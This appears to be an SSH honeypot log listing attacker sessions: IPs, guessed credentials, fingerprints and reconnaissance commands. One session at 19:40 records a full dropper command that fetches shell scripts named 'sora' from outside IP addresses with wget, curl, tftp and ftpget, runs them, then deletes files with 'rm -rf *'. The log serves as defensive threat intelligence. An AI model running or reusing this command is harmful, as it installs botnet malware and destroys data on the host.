130.12.182.122

2026-10-10 20:46:35.173970 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: user17

Record ID: b6d3a1228d96

Client Version: SSH-2.0-libssh_0.12.0

Engagement Duration: 4.6s

HASSH Fingerprint: a591c4ddccc960a2da8099958270fc92

{
  "id": "b6d3a1228d96",
  "src_ip": "130.12.182.122",
  "start_time": "2026-10-10T20:46:35.173970Z",
  "end_time": "2026-10-10T20:46:39.777571Z",
  "duration": "4.6",
  "version": "SSH-2.0-libssh_0.12.0",
  "hassh": "a591c4ddccc960a2da8099958270fc92",
  "attempts": [
    {
      "user": "user17",
      "pass": "omkar"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

45.156.87.146

2026-10-10 20:39:22.273483 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: www

Record ID: 41e2c6bda84d

Client Version: SSH-2.0-libssh_0.12.0

Engagement Duration: 2.0s

HASSH Fingerprint: a591c4ddccc960a2da8099958270fc92

{
  "id": "41e2c6bda84d",
  "src_ip": "45.156.87.146",
  "start_time": "2026-10-10T20:39:22.273483Z",
  "end_time": "2026-10-10T20:39:24.277660Z",
  "duration": "2.0",
  "version": "SSH-2.0-libssh_0.12.0",
  "hassh": "a591c4ddccc960a2da8099958270fc92",
  "attempts": [
    {
      "user": "www",
      "pass": "superset"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

38.22.169.6

2026-10-10 20:38:25.339295 UTC

COMMANDS RUN RECONNAISSANCE SUCCESSFUL LOGIN SCORE: 100

Credential acceptance event recorded. Target authentication: oracle / 111111

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ /bin/./uname -s -v -n -r -m

Record ID: b857cf67dff6

Client Version: SSH-2.0-Go

Engagement Duration: 0.8s

HASSH Fingerprint: 16443846184eafde36765c9bab2f4397

{
  "id": "b857cf67dff6",
  "src_ip": "38.22.169.6",
  "start_time": "2026-10-10T20:38:25.339295Z",
  "end_time": "2026-10-10T20:38:26.158172Z",
  "duration": "0.8",
  "version": "SSH-2.0-Go",
  "hassh": "16443846184eafde36765c9bab2f4397",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "oracle",
    "pass": "111111"
  },
  "commands": [
    "/bin/./uname -s -v -n -r -m"
  ],
  "detailed_commands": [
    {
      "cmd": "/bin/./uname -s -v -n -r -m",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 100,
  "tags": [
    "COMMANDS RUN",
    "RECONNAISSANCE",
    "SUCCESSFUL LOGIN"
  ]
}

179.238.47.20

2026-10-10 20:35:35.758736 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: f551797ab5b9

Client Version: Unknown

Engagement Duration: 0.0s

{
  "id": "f551797ab5b9",
  "src_ip": "179.238.47.20",
  "start_time": "2026-10-10T20:35:35.758736Z",
  "end_time": "2026-10-10T20:35:35.783524Z",
  "duration": "0.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

179.238.47.20

2026-10-10 20:35:19.674167 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: afd167ee12b2

Client Version: Unknown

Engagement Duration: 0.0s

{
  "id": "afd167ee12b2",
  "src_ip": "179.238.47.20",
  "start_time": "2026-10-10T20:35:19.674167Z",
  "end_time": "2026-10-10T20:35:19.677622Z",
  "duration": "0.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

184.98.6.57

2026-10-10 20:32:27.944553 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: ffadc38b5b54

Client Version: Unknown

Engagement Duration: 0.6s

{
  "id": "ffadc38b5b54",
  "src_ip": "184.98.6.57",
  "start_time": "2026-10-10T20:32:27.944553Z",
  "end_time": "2026-10-10T20:32:28.550880Z",
  "duration": "0.6",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

190.61.40.234

2026-10-10 20:27:03.409668 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 0938d7a424b8

Client Version: Unknown

Engagement Duration: 0.0s

{
  "id": "0938d7a424b8",
  "src_ip": "190.61.40.234",
  "start_time": "2026-10-10T20:27:03.409668Z",
  "end_time": "2026-10-10T20:27:03.413044Z",
  "duration": "0.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

38.22.169.6

2026-10-10 20:24:43.251568 UTC

COMMANDS RUN RECONNAISSANCE SUCCESSFUL LOGIN SCORE: 100

Credential acceptance event recorded. Target authentication: oracle / oracle123

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ /bin/./uname -s -v -n -r -m

Record ID: 01b25720d684

Client Version: SSH-2.0-Go

Engagement Duration: 0.7s

HASSH Fingerprint: 16443846184eafde36765c9bab2f4397

{
  "id": "01b25720d684",
  "src_ip": "38.22.169.6",
  "start_time": "2026-10-10T20:24:43.251568Z",
  "end_time": "2026-10-10T20:24:43.916538Z",
  "duration": "0.7",
  "version": "SSH-2.0-Go",
  "hassh": "16443846184eafde36765c9bab2f4397",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "oracle",
    "pass": "oracle123"
  },
  "commands": [
    "/bin/./uname -s -v -n -r -m"
  ],
  "detailed_commands": [
    {
      "cmd": "/bin/./uname -s -v -n -r -m",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 100,
  "tags": [
    "COMMANDS RUN",
    "RECONNAISSANCE",
    "SUCCESSFUL LOGIN"
  ]
}

45.156.87.146

2026-10-10 20:23:18.193007 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: vendor

Record ID: e2c78283e55d

Client Version: SSH-2.0-libssh_0.12.0

Engagement Duration: 1.8s

HASSH Fingerprint: a591c4ddccc960a2da8099958270fc92

{
  "id": "e2c78283e55d",
  "src_ip": "45.156.87.146",
  "start_time": "2026-10-10T20:23:18.193007Z",
  "end_time": "2026-10-10T20:23:20.007412Z",
  "duration": "1.8",
  "version": "SSH-2.0-libssh_0.12.0",
  "hassh": "a591c4ddccc960a2da8099958270fc92",
  "attempts": [
    {
      "user": "vendor",
      "pass": "null"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

102.220.161.79

2026-10-10 20:22:50.652985 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: router

Record ID: 3dc5fac8776a

Client Version: SSH-2.0-libssh_0.12.0

Engagement Duration: 2.3s

HASSH Fingerprint: a591c4ddccc960a2da8099958270fc92

{
  "id": "3dc5fac8776a",
  "src_ip": "102.220.161.79",
  "start_time": "2026-10-10T20:22:50.652985Z",
  "end_time": "2026-10-10T20:22:52.993498Z",
  "duration": "2.3",
  "version": "SSH-2.0-libssh_0.12.0",
  "hassh": "a591c4ddccc960a2da8099958270fc92",
  "attempts": [
    {
      "user": "router",
      "pass": "admin!@#"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

45.156.87.189

2026-10-10 20:19:03.144201 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: kjwt

Record ID: 9f7d1f4302ad

Client Version: SSH-2.0-libssh_0.12.0

Engagement Duration: 1.8s

HASSH Fingerprint: a591c4ddccc960a2da8099958270fc92

{
  "id": "9f7d1f4302ad",
  "src_ip": "45.156.87.189",
  "start_time": "2026-10-10T20:19:03.144201Z",
  "end_time": "2026-10-10T20:19:04.946552Z",
  "duration": "1.8",
  "version": "SSH-2.0-libssh_0.12.0",
  "hassh": "a591c4ddccc960a2da8099958270fc92",
  "attempts": [
    {
      "user": "kjwt",
      "pass": "Aa123321"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

102.220.161.84

2026-10-10 20:13:18.340205 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: zobr

Record ID: 9bc63a142da3

Client Version: SSH-2.0-libssh_0.12.0

Engagement Duration: 2.7s

HASSH Fingerprint: a591c4ddccc960a2da8099958270fc92

{
  "id": "9bc63a142da3",
  "src_ip": "102.220.161.84",
  "start_time": "2026-10-10T20:13:18.340205Z",
  "end_time": "2026-10-10T20:13:21.046162Z",
  "duration": "2.7",
  "version": "SSH-2.0-libssh_0.12.0",
  "hassh": "a591c4ddccc960a2da8099958270fc92",
  "attempts": [
    {
      "user": "zobr",
      "pass": "hestiaweb"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

2.57.121.25

2026-10-10 20:11:56.806435 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: admin / schneider

Record ID: 1a68aec67411

Client Version: SSH-2.0-PuTTY_Release_0.84

Engagement Duration: 6.0s

HASSH Fingerprint: 3356ae6145fa86124298066e281ea2d9

{
  "id": "1a68aec67411",
  "src_ip": "2.57.121.25",
  "start_time": "2026-10-10T20:11:56.806435Z",
  "end_time": "2026-10-10T20:12:02.826241Z",
  "duration": "6.0",
  "version": "SSH-2.0-PuTTY_Release_0.84",
  "hassh": "3356ae6145fa86124298066e281ea2d9",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "admin",
    "pass": "schneider"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

38.22.169.6

2026-10-10 20:11:15.275996 UTC

COMMANDS RUN RECONNAISSANCE SUCCESSFUL LOGIN SCORE: 100

Credential acceptance event recorded. Target authentication: oracle / 321

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ /bin/./uname -s -v -n -r -m

Record ID: 974050ab40c6

Client Version: SSH-2.0-Go

Engagement Duration: 0.7s

HASSH Fingerprint: 16443846184eafde36765c9bab2f4397

{
  "id": "974050ab40c6",
  "src_ip": "38.22.169.6",
  "start_time": "2026-10-10T20:11:15.275996Z",
  "end_time": "2026-10-10T20:11:15.940049Z",
  "duration": "0.7",
  "version": "SSH-2.0-Go",
  "hassh": "16443846184eafde36765c9bab2f4397",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "oracle",
    "pass": "321"
  },
  "commands": [
    "/bin/./uname -s -v -n -r -m"
  ],
  "detailed_commands": [
    {
      "cmd": "/bin/./uname -s -v -n -r -m",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 100,
  "tags": [
    "COMMANDS RUN",
    "RECONNAISSANCE",
    "SUCCESSFUL LOGIN"
  ]
}

193.46.255.86

2026-10-10 20:10:59.815921 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: admin / paxton

Record ID: ad13b891f16d

Client Version: SSH-2.0-PuTTY_Release_0.84

Engagement Duration: 6.0s

HASSH Fingerprint: 3356ae6145fa86124298066e281ea2d9

{
  "id": "ad13b891f16d",
  "src_ip": "193.46.255.86",
  "start_time": "2026-10-10T20:10:59.815921Z",
  "end_time": "2026-10-10T20:11:05.859162Z",
  "duration": "6.0",
  "version": "SSH-2.0-PuTTY_Release_0.84",
  "hassh": "3356ae6145fa86124298066e281ea2d9",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "admin",
    "pass": "paxton"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

80.94.92.234

2026-10-10 20:09:36.043589 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: e91524a36eec

Client Version: Unknown

Engagement Duration: 0.4s

{
  "id": "e91524a36eec",
  "src_ip": "80.94.92.234",
  "start_time": "2026-10-10T20:09:36.043589Z",
  "end_time": "2026-10-10T20:09:36.402212Z",
  "duration": "0.4",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

45.156.87.189

2026-10-10 20:01:54.515298 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: cs379

Record ID: d8fbe0a22f9b

Client Version: SSH-2.0-libssh_0.12.0

Engagement Duration: 1.8s

HASSH Fingerprint: a591c4ddccc960a2da8099958270fc92

{
  "id": "d8fbe0a22f9b",
  "src_ip": "45.156.87.189",
  "start_time": "2026-10-10T20:01:54.515298Z",
  "end_time": "2026-10-10T20:01:56.307457Z",
  "duration": "1.8",
  "version": "SSH-2.0-libssh_0.12.0",
  "hassh": "a591c4ddccc960a2da8099958270fc92",
  "attempts": [
    {
      "user": "cs379",
      "pass": "dspace"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

38.22.169.6

2026-10-10 19:57:57.201632 UTC

COMMANDS RUN RECONNAISSANCE SUCCESSFUL LOGIN SCORE: 100

Credential acceptance event recorded. Target authentication: oracle / 123

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ /bin/./uname -s -v -n -r -m

Record ID: 83d531838e10

Client Version: SSH-2.0-Go

Engagement Duration: 0.7s

HASSH Fingerprint: 16443846184eafde36765c9bab2f4397

{
  "id": "83d531838e10",
  "src_ip": "38.22.169.6",
  "start_time": "2026-10-10T19:57:57.201632Z",
  "end_time": "2026-10-10T19:57:57.872336Z",
  "duration": "0.7",
  "version": "SSH-2.0-Go",
  "hassh": "16443846184eafde36765c9bab2f4397",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "oracle",
    "pass": "123"
  },
  "commands": [
    "/bin/./uname -s -v -n -r -m"
  ],
  "detailed_commands": [
    {
      "cmd": "/bin/./uname -s -v -n -r -m",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 100,
  "tags": [
    "COMMANDS RUN",
    "RECONNAISSANCE",
    "SUCCESSFUL LOGIN"
  ]
}

176.53.159.196

2026-10-10 19:53:39.493682 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: support / support

Record ID: 2119f0891aec

Client Version: SSH-2.0-Go

Engagement Duration: 1.2s

HASSH Fingerprint: eff4c24daffc8532c160e86e5f006e53

{
  "id": "2119f0891aec",
  "src_ip": "176.53.159.196",
  "start_time": "2026-10-10T19:53:39.493682Z",
  "end_time": "2026-10-10T19:53:40.659901Z",
  "duration": "1.2",
  "version": "SSH-2.0-Go",
  "hassh": "eff4c24daffc8532c160e86e5f006e53",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "support",
    "pass": "support"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

200.90.246.4

2026-10-10 19:47:59.484936 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: e1c54ed56296

Client Version: Unknown

Engagement Duration: 0.0s

{
  "id": "e1c54ed56296",
  "src_ip": "200.90.246.4",
  "start_time": "2026-10-10T19:47:59.484936Z",
  "end_time": "2026-10-10T19:47:59.488269Z",
  "duration": "0.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

200.90.246.4

2026-10-10 19:47:14.940121 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 5028b3a2b7c7

Client Version: Unknown

Engagement Duration: 0.0s

{
  "id": "5028b3a2b7c7",
  "src_ip": "200.90.246.4",
  "start_time": "2026-10-10T19:47:14.940121Z",
  "end_time": "2026-10-10T19:47:14.943515Z",
  "duration": "0.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

38.22.169.6

2026-10-10 19:44:49.640573 UTC

COMMANDS RUN RECONNAISSANCE SUCCESSFUL LOGIN SCORE: 100

Credential acceptance event recorded. Target authentication: oracle / test

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ /bin/./uname -s -v -n -r -m

Record ID: 14adb3058c6f

Client Version: SSH-2.0-Go

Engagement Duration: 0.7s

HASSH Fingerprint: 16443846184eafde36765c9bab2f4397

{
  "id": "14adb3058c6f",
  "src_ip": "38.22.169.6",
  "start_time": "2026-10-10T19:44:49.640573Z",
  "end_time": "2026-10-10T19:44:50.306438Z",
  "duration": "0.7",
  "version": "SSH-2.0-Go",
  "hassh": "16443846184eafde36765c9bab2f4397",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "oracle",
    "pass": "test"
  },
  "commands": [
    "/bin/./uname -s -v -n -r -m"
  ],
  "detailed_commands": [
    {
      "cmd": "/bin/./uname -s -v -n -r -m",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 100,
  "tags": [
    "COMMANDS RUN",
    "RECONNAISSANCE",
    "SUCCESSFUL LOGIN"
  ]
}

130.12.180.32

2026-10-10 19:40:01.357063 UTC

COMMANDS RUN SUCCESSFUL LOGIN SCORE: 90

Credential acceptance event recorded. Target authentication: root / 1234

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://103.170.217.170/sora.sh; curl -O http://103.170.217.170/sora.sh; chmod 777 sora.sh; sh sora.sh; tftp 103.170.217.170 -c get sora.sh; chmod 777 sora.sh; sh sora.sh; tftp -r sora2.sh -g 103.170.217.170; chmod 777 sora2.sh; sh sora2.sh; ftpget -v -u anonymous -p anonymous -P 21 101.99.95.124 sora1.sh sora1.sh; sh sora1.sh; rm -rf sora.sh sora.sh sora2.sh sora1.sh; rm -rf *

Record ID: 19dee180ec2f

Client Version: SSH-2.0-paramiko_2.9.3

Engagement Duration: 1m 43s

HASSH Fingerprint: 5b6167e6ec2efe5820a60ca62ddcd1c9

{
  "id": "19dee180ec2f",
  "src_ip": "130.12.180.32",
  "start_time": "2026-10-10T19:40:01.357063Z",
  "end_time": "2026-10-10T19:41:44.414721Z",
  "duration": "103.1",
  "version": "SSH-2.0-paramiko_2.9.3",
  "hassh": "5b6167e6ec2efe5820a60ca62ddcd1c9",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "1234"
  },
  "commands": [
    "cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://103.170.217.170/sora.sh; curl -O http://103.170.217.170/sora.sh; chmod 777 sora.sh; sh sora.sh; tftp 103.170.217.170 -c get sora.sh; chmod 777 sora.sh; sh sora.sh; tftp -r sora2.sh -g 103.170.217.170; chmod 777 sora2.sh; sh sora2.sh; ftpget -v -u anonymous -p anonymous -P 21 101.99.95.124 sora1.sh sora1.sh; sh sora1.sh; rm -rf sora.sh sora.sh sora2.sh sora1.sh; rm -rf *"
  ],
  "detailed_commands": [
    {
      "cmd": "cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://103.170.217.170/sora.sh; curl -O http://103.170.217.170/sora.sh; chmod 777 sora.sh; sh sora.sh; tftp 103.170.217.170 -c get sora.sh; chmod 777 sora.sh; sh sora.sh; tftp -r sora2.sh -g 103.170.217.170; chmod 777 sora2.sh; sh sora2.sh; ftpget -v -u anonymous -p anonymous -P 21 101.99.95.124 sora1.sh sora1.sh; sh sora1.sh; rm -rf sora.sh sora.sh sora2.sh sora1.sh; rm -rf *",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 90,
  "tags": [
    "COMMANDS RUN",
    "SUCCESSFUL LOGIN"
  ]
}

2.57.121.112

2026-10-10 19:35:00.814913 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (5 distinct queries). Vector identities: connor

Record ID: 6a614555cd1e

Client Version: SSH-2.0-PuTTY_Release_0.84

Engagement Duration: 6.5s

HASSH Fingerprint: 3356ae6145fa86124298066e281ea2d9

{
  "id": "6a614555cd1e",
  "src_ip": "2.57.121.112",
  "start_time": "2026-10-10T19:35:00.814913Z",
  "end_time": "2026-10-10T19:35:07.350946Z",
  "duration": "6.5",
  "version": "SSH-2.0-PuTTY_Release_0.84",
  "hassh": "3356ae6145fa86124298066e281ea2d9",
  "attempts": [
    {
      "user": "connor",
      "pass": "connor"
    },
    {
      "user": "connor",
      "pass": "connor1"
    },
    {
      "user": "connor",
      "pass": "connor123"
    },
    {
      "user": "connor",
      "pass": "connor1234"
    },
    {
      "user": "connor",
      "pass": "connor12345"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

38.22.169.6

2026-10-10 19:31:52.967883 UTC

COMMANDS RUN RECONNAISSANCE SUCCESSFUL LOGIN SCORE: 100

Credential acceptance event recorded. Target authentication: oracle / 123456

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ /bin/./uname -s -v -n -r -m

Record ID: a3761276ba4c

Client Version: SSH-2.0-Go

Engagement Duration: 0.7s

HASSH Fingerprint: 16443846184eafde36765c9bab2f4397

{
  "id": "a3761276ba4c",
  "src_ip": "38.22.169.6",
  "start_time": "2026-10-10T19:31:52.967883Z",
  "end_time": "2026-10-10T19:31:53.634431Z",
  "duration": "0.7",
  "version": "SSH-2.0-Go",
  "hassh": "16443846184eafde36765c9bab2f4397",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "oracle",
    "pass": "123456"
  },
  "commands": [
    "/bin/./uname -s -v -n -r -m"
  ],
  "detailed_commands": [
    {
      "cmd": "/bin/./uname -s -v -n -r -m",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 100,
  "tags": [
    "COMMANDS RUN",
    "RECONNAISSANCE",
    "SUCCESSFUL LOGIN"
  ]
}

23.137.105.248

2026-10-10 19:31:47.206291 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: root / root

Record ID: b9f53d59da5d

Client Version: SSH-2.0-OpenSSH_10.6

Engagement Duration: 22.6s

HASSH Fingerprint: d00d43d15d59705b090cf74488cc2218

{
  "id": "b9f53d59da5d",
  "src_ip": "23.137.105.248",
  "start_time": "2026-10-10T19:31:47.206291Z",
  "end_time": "2026-10-10T19:32:09.776553Z",
  "duration": "22.6",
  "version": "SSH-2.0-OpenSSH_10.6",
  "hassh": "d00d43d15d59705b090cf74488cc2218",
  "attempts": [
    {
      "user": "root",
      "pass": null
    }
  ],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "root"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

45.156.87.189

2026-10-10 19:30:47.208305 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: root / 1234564a

Record ID: 3707a258bb38

Client Version: SSH-2.0-libssh_0.12.0

Engagement Duration: 1.2s

HASSH Fingerprint: a591c4ddccc960a2da8099958270fc92

{
  "id": "3707a258bb38",
  "src_ip": "45.156.87.189",
  "start_time": "2026-10-10T19:30:47.208305Z",
  "end_time": "2026-10-10T19:30:48.367394Z",
  "duration": "1.2",
  "version": "SSH-2.0-libssh_0.12.0",
  "hassh": "a591c4ddccc960a2da8099958270fc92",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "1234564a"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

45.156.87.146

2026-10-10 19:26:36.075619 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: temp

Record ID: 5f3b47d029f3

Client Version: SSH-2.0-libssh_0.12.0

Engagement Duration: 1.8s

HASSH Fingerprint: a591c4ddccc960a2da8099958270fc92

{
  "id": "5f3b47d029f3",
  "src_ip": "45.156.87.146",
  "start_time": "2026-10-10T19:26:36.075619Z",
  "end_time": "2026-10-10T19:26:37.885015Z",
  "duration": "1.8",
  "version": "SSH-2.0-libssh_0.12.0",
  "hassh": "a591c4ddccc960a2da8099958270fc92",
  "attempts": [
    {
      "user": "temp",
      "pass": "password"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}